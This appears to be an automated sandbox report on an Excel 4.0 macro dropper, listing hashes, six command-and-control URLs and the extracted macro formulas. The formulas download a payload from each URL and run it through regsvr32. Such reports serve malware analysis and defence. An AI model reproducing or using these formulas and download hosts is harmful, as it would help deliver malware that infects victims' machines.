General

  • Target

    543496c9b631b5ef026c8bfad42e80214f4e78aa925efe71c1788d756bbeaba9

  • Size

    40KB

  • Sample

    241111-t98fxavmhl

  • MD5

    01329d7f402261ee82dd32ed70107f67

  • SHA1

    ae8321f63b0185911a89105f3d7f709f2dad3641

  • SHA256

    543496c9b631b5ef026c8bfad42e80214f4e78aa925efe71c1788d756bbeaba9

  • SHA512

    8c7eb297507addc6677591924fc075565d16003db9b0249b742d757b449899118614ae88012663caa9bb6919e802e20531187c77773a06163fe1a157e1fef1ef

  • SSDEEP

    768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      543496c9b631b5ef026c8bfad42e80214f4e78aa925efe71c1788d756bbeaba9

    • Size

      40KB

    • MD5

      01329d7f402261ee82dd32ed70107f67

    • SHA1

      ae8321f63b0185911a89105f3d7f709f2dad3641

    • SHA256

      543496c9b631b5ef026c8bfad42e80214f4e78aa925efe71c1788d756bbeaba9

    • SHA512

      8c7eb297507addc6677591924fc075565d16003db9b0249b742d757b449899118614ae88012663caa9bb6919e802e20531187c77773a06163fe1a157e1fef1ef

    • SSDEEP

      768:+tby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:mbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks